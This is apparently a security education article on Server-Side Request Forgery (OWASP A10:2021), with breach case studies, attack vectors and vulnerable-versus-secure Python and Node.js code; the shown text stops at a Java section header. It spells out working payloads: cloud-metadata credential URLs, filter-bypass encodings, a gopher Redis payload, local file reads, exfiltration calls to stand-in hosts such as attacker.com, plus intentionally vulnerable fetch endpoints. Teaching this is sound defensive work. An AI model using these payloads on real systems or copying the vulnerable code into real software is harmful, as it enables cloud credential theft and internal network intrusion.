π A10:2021 β Server-Side Request Forgery (SSRF)
"When you let a server fetch a URL on behalf of a user, you are handing that user a key to every internal network the server can reach."
Server-Side Request Forgery is the newest entrant in the OWASP Top 10, debuting at #10 in 2021 after years of growing prominence in cloud-native environments. SSRF is deceptively simple in concept β an attacker tricks a server into making HTTP requests to unintended destinations β but devastating in impact, especially when that server sits inside a cloud environment with access to metadata services, internal APIs, databases, and microservices that were never designed to face the internet.
The breach that put SSRF on the map for most security professionals was Capital One in 2019: a single SSRF vulnerability in a Web Application Firewall configuration allowed an attacker to access the AWS Instance Metadata Service, steal temporary credentials, and exfiltrate 106 million customer records. The total cost exceeded $300 million in fines, remediation, and legal settlements.
π Table of Contents
- Introduction & Headline Statistics
- What Exactly Is Server-Side Request Forgery?
- The SSRF Attack Model
- Types of SSRF
- A10 vs. Related Categories
- Real-World Breach Case Studies
- 6.1 Capital One (2019) β The $300M Metadata Heist
- 6.2 Shopify (2020) β Internal Service Enumeration
- 6.3 Microsoft Exchange (2021) β ProxyLogon SSRF
- 6.4 Atlassian Jira (2019) β CVE-2019-8451
- 6.5 Slack (2017) β SSRF via Snippets
- CWE Deep-Dive with Mindmap
- Attack Vector 1: Cloud Metadata Services
- Attack Vector 2: Internal Network Scanning & Service Discovery
- Attack Vector 3: URL Scheme Abuse
- Attack Vector 4: DNS Rebinding
- Attack Vector 5: IPv6 and Encoding Bypasses
- Attack Vector 6: Blind SSRF & Out-of-Band Exfiltration
- Attack Vector 7: SSRF via PDF Generators, Image Fetchers, and Webhooks
- Secure Design Patterns & Anti-Patterns
- Code Examples: Vulnerable vs. Secure
- Tools & Resources
- β The Ultimate SSRF Checklist
- π Conclusion
- π Further Reading
Introduction & Headline Statistics
SSRF earned its place in the OWASP Top 10 2021 as a new category, reflecting the explosion of cloud computing, microservices, and API-driven architectures that have dramatically expanded the attack surface for server-side request manipulation. While its incidence rate is lower than A01 or A03, the impact per successful exploit is among the highest in the entire Top 10 β a single SSRF can yield full cloud account compromise.
| Metric | Value |
|---|---|
| OWASP Rank (2021) | A10 (new entry) |
| Incidence Rate | 2.72% |
| Mapped CWEs | 1 (primarily CWE-918) |
| Max Incidence Rate | 19.11% |
| Mapped CVEs | 385 |
| Average Weighted CVSS | 8.34 |
| Exploitability | Moderate (requires a server-side URL fetch) |
| Prevalence | Increasing rapidly with cloud adoption |
| Detectability | Low (requests originate from the server, not the attacker) |
| Impact | Critical (cloud credential theft, internal network access, RCE) |
π Why the CVSS is so high: The average weighted CVSS of 8.34 places SSRF among the most severe categories. This reflects the reality that SSRF in cloud environments often leads directly to credential theft via metadata services, which in turn enables full account takeover. The exploit chain is short and the blast radius is enormous.
What Exactly Is Server-Side Request Forgery?
Plain-English Definition
Server-Side Request Forgery (SSRF) occurs when an attacker can manipulate a server into making HTTP (or other protocol) requests to an arbitrary destination of the attacker's choosing, rather than the intended destination. The server becomes an unwitting proxy, sending requests to internal services, cloud metadata endpoints, or external systems that the attacker cannot reach directly.
The key distinction from client-side attacks: the request originates from the server, which typically has network access to internal resources that are not exposed to the public internet.
Official OWASP Definition
"SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL). As modern web applications provide end-users with convenient features, fetching a URL becomes a common scenario. As a result, the incidence of SSRF is increasing. Also, the severity of SSRF is becoming higher due to cloud services and the complexity of architectures."
β OWASP Top 10 2021, A10
The Fundamental Trust Confusion
SSRF exploits a confusion of trust boundaries:
- The user trusts the application to fetch a resource safely.
- The internal service trusts the application server because it is on the internal network.
- The application server trusts the user-supplied URL without sufficient validation.
The attacker exploits gap #3 to abuse trust relationship #2.
The SSRF Attack Model
Why SSRF Is So Dangerous in the Cloud
In traditional on-premises environments, SSRF might let an attacker scan internal ports or access an intranet wiki. In cloud environments, SSRF is a direct path to full account compromise:
| Cloud Provider | Metadata Endpoint | What's Exposed |
|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ | IAM role credentials, instance ID, user data, security groups |
| GCP | http://metadata.google.internal/computeMetadata/v1/ | Service account tokens, project metadata, instance config |
| Azure | http://169.254.169.254/metadata/instance | Managed identity tokens, VM metadata, network config |
| DigitalOcean | http://169.254.169.254/metadata/v1/ | Droplet metadata, user data, SSH keys |
| Oracle Cloud | http://169.254.169.254/opc/v2/ | Instance metadata, compartment info |
| Alibaba Cloud | http://100.100.100.200/latest/meta-data/ | RAM role credentials, instance metadata |
π΄ Critical Insight: On AWS, a single SSRF to http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME returns temporary IAM credentials with the full permissions of the EC2 instance's IAM role. If that role has s3: or ec2: permissions, the attacker effectively owns the cloud account.
Types of SSRF
4.1 Basic (Full-Response) SSRF
The server fetches the attacker-controlled URL and returns the full response to the attacker. This is the most powerful variant.
Attacker β App: GET /fetch?url=http:"text-slate-500 font-normal italic">//169.254.169.254/latest/meta-data/
App β Metadata: GET /latest/meta-data/
Metadata β App: ami-id, instance-id, iam/...
App β Attacker: Full metadata response β
Impact: Direct data exfiltration. The attacker sees everything the internal service returns.
4.2 Blind SSRF
The server fetches the attacker-controlled URL but does not return the response to the attacker. The attacker can only infer success or failure based on side effects (response time, error messages, DNS lookups).
Attacker β App: POST /webhook?url=http:"text-slate-500 font-normal italic">//attacker.com/callback
App β attacker.com: GET /callback (attacker sees the request in their logs)
App β Attacker: {"status": "webhook delivered"} (no internal data)Impact: Port scanning, service enumeration, triggering internal actions, out-of-band data exfiltration via DNS.
4.3 Semi-Blind SSRF
The server returns partial information about the response β such as the HTTP status code, response time, or a generic error message β but not the full body.
Attacker β App: GET /fetch?url=http:"text-slate-500 font-normal italic">//internal:8080/admin
App β Attacker: {"status": 200, "content_length": 4521} (metadata only)Impact: Port scanning with status-code differentiation, service fingerprinting.
Comparison Table
| Type | Response Visible? | Primary Use | Severity |
|---|---|---|---|
| Basic (Full) | β Full response body | Data exfiltration, credential theft | Critical |
| Semi-Blind | β οΈ Status code / timing | Port scanning, service enumeration | High |
| Blind | β No response | OOB exfiltration, internal action triggering | MediumβHigh |
A10 vs. Related Categories
| Dimension | A01: Broken Access Control | A03: Injection | A05: Security Misconfiguration | A10: SSRF |
|---|---|---|---|---|
| Core Problem | Unauthorized access to resources | Untrusted input reaches an interpreter | Insecure defaults and settings | Server makes requests to unintended destinations |
| Attack Direction | User β Protected resource | User β Interpreter | N/A (configuration state) | User β Server β Internal resource |
| Trust Exploited | Access control logic | Input parsing | Configuration assumptions | Network trust of the server |
| Example | User accesses /admin | SQL injection in search | Default admin password | Server fetches 169.254.169.254 |
| Defense | RBAC, ABAC | Parameterized queries | Hardening, CIS benchmarks | URL validation, network segmentation, allowlisting |
| Overlap | SSRF can bypass access controls on internal services | SSRF payloads may use injection techniques | Missing metadata protection is a misconfiguration | SSRF is the mechanism that exploits the other failures |
π Key Distinction: In most OWASP categories, the attacker interacts directly with the vulnerable component. In SSRF, the attacker uses the application server as a proxy to reach targets the attacker cannot access directly. The server's network position and trust relationships become the attack surface.
Real-World Breach Case Studies
6.1 Capital One (2019) β The $300M Metadata Heist
The most famous SSRF breach in history and the primary reason A10 exists in the OWASP Top 10.
- Target: Capital One Financial Corporation
- Attacker: Paige Thompson, a former AWS software engineer
- Initial Vector: SSRF vulnerability in a ModSecurity Web Application Firewall (WAF) configuration on an AWS EC2 instance
- Attack Chain:
- Attacker discovered a misconfigured WAF that allowed SSRF
- Used SSRF to query http://169.254.169.254/latest/meta-data/iam/security-credentials/
- Retrieved temporary IAM credentials for the WAF's EC2 instance role
- The IAM role had excessive S3 permissions (s3:ListBuckets, s3:GetObject)
- Used the stolen credentials to enumerate and download S3 buckets
- Exfiltrated 106 million customer records including 140,000 SSNs and 80,000 bank account numbers
- Dwell Time: ~4 months (MarchβJuly 2019)
- Detection: The attacker bragged about the breach on GitHub and Twitter; a security researcher noticed and reported it
- Total Cost: $300M+ (OCC fine: $80M, remediation, legal, class-action settlements)
Root Causes:
- SSRF vulnerability in the WAF configuration (no URL validation)
- Overly permissive IAM role attached to the WAF instance (principle of least privilege violation)
- No IMDSv2 enforcement (IMDSv1 requires no authentication token)
- No network segmentation between the WAF and the metadata service
- No outbound request monitoring from the WAF to internal endpoints
Lessons Learned:
- Enforce IMDSv2 on all EC2 instances (requires a session token)
- Apply least privilege to all IAM roles β the WAF did not need S3 access
- Validate and restrict all user-supplied URLs at the application layer
- Monitor outbound requests from servers to metadata endpoints
- Network-layer controls can block metadata access from application containers
6.2 Shopify (2020) β Internal Service Enumeration
- Target: Shopify's internal infrastructure
- Vector: SSRF in a Shopify app that fetched user-supplied URLs for preview/thumbnail generation
- Impact: Attacker could scan internal services, enumerate microservices, and access internal APIs
- Bounty: $25,000+ via HackerOne
- Key Insight: Even without direct data exfiltration, SSRF-enabled internal network mapping provides attackers with the reconnaissance needed for more targeted attacks.
6.3 Microsoft Exchange (2021) β ProxyLogon SSRF
- Target: Microsoft Exchange Server (on-premises)
- CVE: CVE-2021-26855 (ProxyLogon)
- Vector: SSRF in the Exchange Autodiscover service allowed unauthenticated attackers to send arbitrary HTTP requests to internal Exchange services
- Impact: Full mailbox access, arbitrary file write, Remote Code Execution (via chained exploits)
- Scale: ~250,000+ Exchange servers compromised globally
- Attribution: HAFNIUM (Chinese state-sponsored), followed by multiple ransomware groups
Why SSRF Was Critical: The SSRF allowed the attacker to bypass authentication entirely by making the Exchange server authenticate to itself. The internal request carried the server's own credentials, which the backend services trusted.
6.4 Atlassian Jira (2019) β CVE-2019-8451
- Target: Atlassian Jira Server and Data Center
- CVE: CVE-2019-8451
- Vector: SSRF in the /plugins/servlet/gadgets/makeRequest endpoint
- Impact: Attackers could make requests to internal services from the Jira server, accessing internal APIs and metadata endpoints
- CVSS: 6.1 (base) but higher in cloud environments
- Affected Versions: Jira Server < 8.4.0
6.5 Slack (2017) β SSRF via Snippets
- Target: Slack's internal infrastructure
- Vector: SSRF in Slack's snippet/image preview feature
- Impact: Attacker could access internal services and AWS metadata from Slack's servers
- Bounty: $7,500 via HackerOne
- Key Insight: Any feature that fetches external URLs on behalf of users β image previews, link unfurling, webhook delivery, PDF generation β is a potential SSRF vector.
CWE Deep-Dive with Mindmap
CWE-918: Server-Side Request Forgery
Severity: Critical | CVSS: 8.6β9.9 (cloud environments)
Definition: The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
Key Characteristics:
- The attacker controls the destination of a server-side request
- The server acts as an unintended proxy
- The request originates from a trusted network position
- Internal services receive the request as if it came from the application server
Exploitation Prerequisites:
- The application must have a feature that fetches a URL (or makes a network request) based on user input
- The application must not adequately validate or restrict the destination
- The server must have network access to interesting internal targets
CWE-441: Unintended Proxy or Intermediary
A broader category that includes SSRF as a specific case. The server is used as a proxy to relay requests to destinations the attacker cannot reach directly.
CWE-20: Improper Input Validation
The root cause of most SSRF vulnerabilities: the application fails to validate that the user-supplied URL points to an allowed destination.
Attack Vector 1: Cloud Metadata Services
Cloud metadata services are the #1 SSRF target because they provide direct access to credentials and configuration.
AWS Instance Metadata Service (IMDS)
"text-slate-500 font-normal italic"># IMDSv1 (no authentication β vulnerable to SSRF)
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/meta-data/
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/meta-data/iam/security-credentials/
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/user-data/
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/dynamic/instance-identity/document
"text-slate-500 font-normal italic"># IMDSv2 (requires session token β resistant to simple SSRF)
PUT http:"text-slate-500 font-normal italic">//169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Response: TOKEN_VALUE
GET http:"text-slate-500 font-normal italic">//169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: TOKEN_VALUEWhy IMDSv2 helps against SSRF:
- IMDSv2 requires a PUT request to obtain a session token before making GET requests
- Most SSRF vulnerabilities only allow GET requests (via <img> tags, url= parameters, etc.)
- The token has a limited TTL and is bound to the instance
- However: If the SSRF allows arbitrary HTTP methods (including PUT), IMDSv2 can still be bypassed
GCP Metadata Service
GET http:"text-slate-500 font-normal italic">//metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: Google β Required header
GET http:"text-slate-500 font-normal italic">//metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google
Response: {"access_token": "ya29...", "expires_in": 3599, "token_type": "Bearer"}GCP's defense: The Metadata-Flavor: Google header is required. If the SSRF does not allow custom header injection, the metadata service rejects the request. However, header injection via CRLF or application-level bugs can bypass this.
Azure Instance Metadata Service
GET http:"text-slate-500 font-normal italic">//169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true β Required header
GET http:"text-slate-500 font-normal italic">//169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Header: Metadata: true
Response: {"access_token": "eyJ0eX...", "resource": "https:">//management.azure.com/"}Metadata Endpoint Bypass Techniques
Attackers use various techniques to bypass URL filters that block 169.254.169.254:
| Technique | Example | Bypasses |
|---|---|---|
| Decimal IP | http://2852039166/latest/meta-data/ | String-based IP filters |
| Octal IP | http://0251.0376.0251.0376/latest/meta-data/ | Decimal IP filters |
| Hex IP | http://0xA9FEA9FE/latest/meta-data/ | Decimal/octet filters |
| IPv6 | http://[::ffff:169.254.169.254]/latest/meta-data/ | IPv4-only filters |
| DNS rebinding | http://attacker-dns-rebind.com/ β resolves to 169.254.169.254 | Static IP blocklists |
| URL encoding | http://169.254.169.254/%6c%61%74%65%73%74/ | Path-based filters |
| Redirect | http://attacker.com/redirect β 302 to 169.254.169.254 | Pre-request URL validation |
| 0.0.0.0 | http://0.0.0.0/ (some cloud providers) | Specific IP filters |
| Shortened IP | http://169.254.169.254 β http://169.254.169 (some parsers) | Full IP filters |
| Domain tricks | http://169.254.169.254.nip.io/ | Domain-based filters |
Attack Vector 2: Internal Network Scanning & Service Discovery
Even without accessing metadata, SSRF enables internal network reconnaissance:
Common Internal Targets:
| Service | Default Port | SSRF Impact |
|---|---|---|
| Redis | 6379 | Unauthenticated access; write SSH keys; RCE via MODULE LOAD |
| Elasticsearch | 9200 | Data exfiltration; cluster takeover |
| Memcached | 11211 | Data exfiltration; cache poisoning |
| MongoDB | 27017 | Database access (if no auth) |
| MySQL | 3306 | Database access (with credentials) |
| PostgreSQL | 5432 | Database access (with credentials) |
| Docker API | 2375 | Container escape; host RCE |
| Kubernetes API | 10250/6443 | Pod creation; cluster takeover |
| Consul | 8500 | Service discovery; KV store access |
| Jenkins | 8080 | Build pipeline access; RCE via Groovy |
| RabbitMQ | 15672 | Message queue access |
| Internal APIs | Various | Microservice enumeration; data access |
Attack Vector 3: URL Scheme Abuse
SSRF is not limited to http:// and https://. Many URL-fetching libraries support additional schemes that can be abused:
| Scheme | Example | Impact |
|---|---|---|
file:// | file:///etc/passwd | Local file read on the server |
gopher:// | gopher://internal:6379/_*1%0d%0a$8%0d%0aflushall | Raw TCP β interact with Redis, MySQL, SMTP |
dict:// | dict://internal:6379/INFO | Service fingerprinting |
ftp:// | ftp://internal:21/ | FTP access |
tftp:// | tftp://internal/ | TFTP file transfer |
jar:// | jar:http://attacker.com/evil.jar!/ | Java-specific β load remote JAR files |
netdoc:// | netdoc:///etc/passwd | Java-specific β local file read |
ldap:// | ldap://internal:389/ | LDAP queries |
smb:// | smb://internal/share/ | SMB access (NTLM relay) |
The file:// Scheme β Local File Read
Attacker β App: GET /fetch?url=file:"text-slate-500 font-normal italic">///etc/passwd
App β Local: Read /etc/passwd
App β Attacker: root:x:0:0:root:/root:/bin/bash... πThe gopher:// Scheme β Raw TCP Interaction
The gopher:// scheme is particularly dangerous because it allows arbitrary TCP payload construction, effectively turning the SSRF into a full TCP proxy:
"text-slate-500 font-normal italic"># Redis RCE via Gopher SSRF
gopher:"text-slate-500 font-normal italic">//10.0.1.3:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0akey1%0d%0a$5%0d%0avalue%0d%0a
"text-slate-500 font-normal italic"># This sends raw Redis protocol commands:
"text-slate-500 font-normal italic"># *3\r\n$3\r\nset\r\n$4\r\nkey1\r\n$5\r\nvalue\r\nAttack Vector 4: DNS Rebinding
DNS rebinding defeats time-of-check-to-time-of-use (TOCTOU) URL validation by changing the DNS resolution between the validation step and the actual request.
Why DNS rebinding works:
- The application validates the URL by resolving the hostname β public IP β passes check
- The DNS TTL is set to 0, forcing re-resolution
- When the application makes the actual HTTP request, the hostname resolves to an internal IP
- The request goes to the internal service, bypassing the validation
Defense: Resolve the hostname once, validate the resolved IP, and use that IP for the actual connection (pin the IP). Do not re-resolve.
Attack Vector 5: IPv6 and Encoding Bypasses
IPv6 Bypasses
Many URL filters only check for IPv4 addresses. IPv6 provides alternative representations:
| Target | IPv4 | IPv6 Representation | Bypasses |
|---|---|---|---|
| AWS Metadata | 169.254.169.254 | http://[::ffff:a9fe:a9fe]/ | IPv4-only filters |
| AWS Metadata | 169.254.169.254 | http://[0:0:0:0:0:ffff:a9fe:a9fe]/ | Shortened IPv6 filters |
| Localhost | 127.0.0.1 | http://[::1]/ | IPv4-only filters |
| Localhost | 127.0.0.1 | http://[::ffff:127.0.0.1]/ | IPv4-only filters |
URL Encoding Bypasses
| Encoding | Example | Decoded |
|---|---|---|
| Single URL encode | http://169.254.169.254/%6c%61%74%65%73%74/ | /latest/ |
| Double URL encode | http://169.254.169.254/%256c%2561%2574%2565%2573%2574/ | /latest/ |
| Unicode normalization | http://169.254.169.254/ο½ο½ο½ο½
ο½ο½/ | /latest/ |
| Null byte | http://169.254.169.254/latest%00.evil.com/ | Varies by parser |
| Fragment | http://169.254.169.254/latest/meta-data/#.evil.com | Fragment ignored by server |
Attack Vector 6: Blind SSRF & Out-of-Band Exfiltration
When the application does not return the response body, attackers use out-of-band (OOB) techniques:
DNS Exfiltration
Attacker β App: GET /fetch?url=http:"text-slate-500 font-normal italic">//data.attacker-dns.com/
App β DNS: Resolve data.attacker-dns.com
Attacker's DNS Server: Logs the query β confirms SSRF exists β
# Exfiltrate data via DNS subdomain:
Attacker β App: GET /fetch?url=http://SECRET.attacker-dns.com/
App β DNS: Resolve SECRET.attacker-dns.com
Attacker's DNS Server: Logs "SECRET" in the subdomain πHTTP Callback
Attacker β App: POST /webhook?url=http:"text-slate-500 font-normal italic">//attacker.com/callback?data=SECRET
App β attacker.com: GET /callback?data=SECRET
Attacker's Server: Receives the callback with exfiltrated data πTiming-Based Detection
"text-slate-500 font-normal italic"># Port scanning via response time:
url=http:"text-slate-500 font-normal italic">//10.0.1.5:22 β Response in 50ms (port open)
url=http:"text-slate-500 font-normal italic">//10.0.1.5:23 β Response in 5000ms (port closed/filtered)
url=http:"text-slate-500 font-normal italic">//10.0.1.5:80 β Response in 30ms (port open)
url=http:"text-slate-500 font-normal italic">//10.0.1.5:443 β Response in 45ms (port open)Attack Vector 7: SSRF via PDF Generators, Image Fetchers, and Webhooks
SSRF is not limited to explicit "fetch URL" features. Any server-side functionality that processes external resources is a potential vector:
| Feature | SSRF Vector | Example Payload |
|---|---|---|
| PDF Generation | HTML-to-PDF engines (wkhtmltopdf, Puppeteer, WeasyPrint) render external URLs | <iframe src="http://169.254.169.254/latest/meta-data/"> |
| Image Resizing | Image fetchers download user-supplied URLs | url=http://10.0.1.5:6379/ |
| Link Previews | URL unfurling fetches page content | http://169.254.169.254/latest/meta-data/ |
| Webhook Delivery | Application sends POST to user-configured URL | http://internal-api:8080/admin/delete-all |
| Email Templates | Template engines fetch remote resources | <img src="http://169.254.169.254/latest/user-data/"> |
| CSV/Import | Import from URL feature | url=file:///etc/passwd |
| RSS/Feed Reader | Feed fetcher processes external XML | XXE + SSRF combination |
| OAuth Callbacks | Redirect URI validation bypass | redirect_uri=http://169.254.169.254/ |
PDF Generator SSRF (wkhtmltopdf)
<!-- Attacker submits this HTML to a PDF generation service -->
<html>
<body>
<h1>Invoice</h1>
<!-- π SSRF: The PDF engine fetches the metadata endpoint -->
<iframe src="http:">//169.254.169.254/latest/meta-data/iam/security-credentials/"
width="100%" height="500px"></iframe>
<!-- π Local file read -->
<iframe src="file:">///etc/passwd" width="100%" height="200px"></iframe>
</body>
</html>The generated PDF will contain the contents of the AWS metadata endpoint and the server's /etc/passwd file.
Secure Design Patterns & Anti-Patterns
β Secure Patterns
| Pattern | Description | Implementation |
|---|---|---|
| URL Allowlisting | Only permit requests to pre-approved domains and IPs | Exact domain match + resolved IP validation |
| Network Segmentation | Isolate application servers from sensitive internal services | VPC security groups, network policies, firewall rules |
| IMDSv2 Enforcement | Require session tokens for metadata access | AWS: HttpTokens: required; GCP: Metadata-Flavor header |
| Disable Unused Schemes | Block file://, gopher://, dict://, ftp:// | URL parser configuration |
| DNS Pinning | Resolve hostname once, validate IP, use pinned IP for connection | Custom DNS resolver + IP validation |
| Redirect Handling | Disable or strictly validate HTTP redirects | allow_redirects=False + redirect URL validation |
| Response Filtering | Strip sensitive headers and metadata from proxied responses | Response body/header sanitization |
| Egress Filtering | Block outbound requests to internal IP ranges at the network layer | Firewall rules blocking 10.x, 172.16-31.x, 192.168.x, 169.254.x |
| Timeout & Size Limits | Limit response time and body size to prevent resource exhaustion | timeout=5s, max_body=1MB |
| Dedicated Fetch Service | Isolate URL fetching in a sandboxed microservice with no internal access | Separate container/VPC with restricted network |
β Anti-Patterns
| Anti-Pattern | Why It's Dangerous | Real-World Consequence |
|---|---|---|
requests.get(user_url) without validation | No destination restriction | Capital One (2019) |
| Blocklisting instead of allowlisting | Attackers find bypasses (encoding, IPv6, DNS rebinding) | Countless CTF and real-world bypasses |
| Validating URL string, not resolved IP | DNS rebinding, encoding bypasses | TOCTOU vulnerabilities |
| Following redirects blindly | Redirect to internal IP after validation | Redirect-based SSRF |
Allowing file:// scheme | Local file read on the server | /etc/passwd, /etc/shadow, cloud credentials |
| No egress filtering | Server can reach any internal service | Full internal network access |
| IMDSv1 in cloud environments | No authentication for metadata access | Credential theft via SSRF |
| Overly permissive IAM roles | Stolen credentials grant excessive access | Capital One (2019) β WAF had S3 access |
Trusting Host header | Application routes based on user-controlled Host | Host header SSRF |
| Fetching user URLs in PDF/image processors | Rendering engines access internal resources | PDF generator SSRF |
Code Examples: Vulnerable vs. Secure
16.1 Python β URL Fetching Endpoint
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# π΄ VULNERABLE: Unrestricted URL Fetching (SSRF)
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
from flask import Flask, request, jsonify
import requests
app = Flask(__name__)
@app.route('/api/fetch')
def fetch_url():
url = request.args.get('url')
if not url:
return jsonify({"error": "Missing url parameter"}), 400
# π DANGER 1: No URL validation whatsoever
# π DANGER 2: No scheme restriction (file://, gopher:// allowed)
# π DANGER 3: No IP validation (internal IPs, metadata allowed)
# π DANGER 4: Redirects followed by default
# π DANGER 5: No timeout (resource exhaustion)
# π DANGER 6: Full response returned to attacker
try:
response = requests.get(url) # π Fetches ANY URL
return jsonify({
"status": response.status_code,
"body": response.text, # π Returns full response including credentials
"headers": dict(response.headers)
})
except Exception as e:
return jsonify({"error": str(e)}), 500
# Attack examples:
# /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# /api/fetch?url=file:///etc/passwd
# /api/fetch?url=http://10.0.1.5:6379/INFO
# /api/fetch?url=http://attacker.com/redirect-to-metadata
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# π’ SECURE: Validated URL Fetching with Multiple Defenses
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
from flask import Flask, request, jsonify
import requests
import ipaddress
import socket
from urllib.parse import urlparse
app = Flask(__name__)
# β
Defense 1: Allowlist of permitted domains
ALLOWED_DOMAINS = {"api.example.com", "cdn.example.com", "images.example.com"}
# β
Defense 2: Blocked IP ranges (RFC 1918, link-local, loopback, cloud metadata)
BLOCKED_NETWORKS = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'), # Cloud metadata + link-local
ipaddress.ip_network('::1/128'), # IPv6 loopback
ipaddress.ip_network('fc00::/7'), # IPv6 private
ipaddress.ip_network('fe80::/10'), # IPv6 link-local
ipaddress.ip_network('0.0.0.0/8'), # Current network
ipaddress.ip_network('100.64.0.0/10'), # Carrier-grade NAT
]
# β
Defense 3: Allowed schemes only
ALLOWED_SCHEMES = {"http", "https"}
def is_ip_blocked(ip_str: str) -> bool:
"""Check if an IP address falls within any blocked network range."""
try:
ip = ipaddress.ip_address(ip_str)
return any(ip in network for network in BLOCKED_NETWORKS)
except ValueError:
return True # Block unparseable IPs
def validate_url(url: str) -> tuple[bool, str]:
"""
Validate a URL against SSRF protections.
Returns (is_valid, error_message).
"""
# β
Step 1: Parse the URL
try:
parsed = urlparse(url)
except Exception:
return False, "Invalid URL format"
# β
Step 2: Restrict schemes
if parsed.scheme not in ALLOWED_SCHEMES:
return False, f"Scheme '{parsed.scheme}' is not allowed"
# β
Step 3: Require a hostname
if not parsed.hostname:
return False, "Missing hostname"
# β
Step 4: Check domain allowlist
if parsed.hostname not in ALLOWED_DOMAINS:
return False, f"Domain '{parsed.hostname}' is not in the allowlist"
# β
Step 5: Resolve hostname and validate ALL resolved IPs
# This prevents DNS rebinding by checking every IP the hostname resolves to
try:
addr_infos = socket.getaddrinfo(parsed.hostname, None)
for addr_info in addr_infos:
ip_str = addr_info[4][0]
if is_ip_blocked(ip_str):
return False, f"Resolved IP {ip_str} is in a blocked range"
except socket.gaierror:
return False, "Cannot resolve hostname"
return True, ""
@app.route('/api/fetch')
def fetch_url():
url = request.args.get('url')
if not url:
return jsonify({"error": "Missing url parameter"}), 400
# β
Validate URL before fetching
is_valid, error = validate_url(url)
if not is_valid:
return jsonify({"error": error}), 403
try:
response = requests.get(
url,
timeout=5, # β
Defense 4: Strict timeout
allow_redirects=False, # β
Defense 5: No redirects (or validate redirect targets)
max_redirects=0,
)
# β
Defense 6: Return only safe metadata, not full response
return jsonify({
"status": response.status_code,
"content_type": response.headers.get("Content-Type", ""),
"content_length": len(response.content),
# β
Do NOT return response.text or response.headers blindly
# If you must return the body, sanitize it first
})
except requests.exceptions.Timeout:
return jsonify({"error": "Request timed out"}), 504
except requests.exceptions.ConnectionError:
return jsonify({"error": "Connection failed"}), 502
except Exception as e:
# β
Defense 7: Do not leak internal error details
return jsonify({"error": "Fetch failed"}), 50016.2 Node.js β Image Fetcher with SSRF Protection
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// π΄ VULNERABLE: Image Fetcher (SSRF via Image URL)
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
const express = require('express');
const axios = require('axios');
const app = express();
app.get('/api/image-proxy', async (req, res) => {
const imageUrl = req.query.url;
// π DANGER: No validation β attacker can proxy any URL
try {
const response = await axios.get(imageUrl, {
responseType: 'arraybuffer',
// π No timeout, no redirect control, no IP validation
});
res.set('Content-Type', response.headers['content-type']);
res.send(response.data);
} catch (err) {
res.status(500).send('Failed to fetch image');
}
});
// Attack: /api/image-proxy?url=http://169.254.169.254/latest/meta-data/
// The "image" response contains AWS credentials
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// π’ SECURE: Image Fetcher with SSRF Protection
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
const express = require('express');
const axios = require('axios');
const dns = require('dns').promises;
const { URL } = require('url');
const ipaddr = require('ipaddr.js');
const app = express();
const ALLOWED_IMAGE_DOMAINS = new Set([
'images.unsplash.com',
'cdn.example.com',
'avatars.githubusercontent.com',
]);
function isPrivateIp(ip) {
const parsed = ipaddr.parse(ip);
const range = parsed.range();
// β
Block all private, loopback, link-local, and reserved ranges
return ['private', 'loopback', 'linkLocal', 'uniqueLocal', 'reserved', 'unspecified']
.includes(range);
}
async function validateImageUrl(urlString) {
let parsed;
try {
parsed = new URL(urlString);
} catch {
throw new Error('Invalid URL');
}
// β
Scheme check
if (!['http:', 'https:'].includes(parsed.protocol)) {
throw new Error('Only HTTP/HTTPS allowed');
}
// β
Domain allowlist
if (!ALLOWED_IMAGE_DOMAINS.has(parsed.hostname)) {
throw new Error('Domain not in allowlist');
}
// β
DNS resolution check β validate ALL resolved IPs
const addresses = await dns.lookup(parsed.hostname, { all: true });
for (const addr of addresses) {
if (isPrivateIp(addr.address)) {
throw new Error(`Resolved IP ${addr.address} is private`);
}
}
return parsed;
}
app.get('/api/image-proxy', async (req, res) => {
const imageUrl = req.query.url;
if (!imageUrl) return res.status(400).send('Missing url');
try {
await validateImageUrl(imageUrl);
const response = await axios.get(imageUrl, {
responseType: 'arraybuffer',
timeout: 5000, // β
Strict timeout
maxRedirects: 0, // β
No redirects
maxContentLength: 5 * 1024 * 1024, // β
5MB limit
validateStatus: (status) => status === 200, // β
Only 200 OK
});
// β
Validate content type is actually an image
const contentType = response.headers['content-type'] || '';
if (!contentType.startsWith('image/')) {
return res.status(403).send('Response is not an image');
}
res.set('Content-Type', contentType);
res.send(response.data);
} catch (err) {
// β
Generic error β do not leak internal details
res.status(403).send('Image fetch denied');
}
});16.3 Java β Webhook Delivery with SSRF Protection
"text-slate-500 font-normal italic">// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
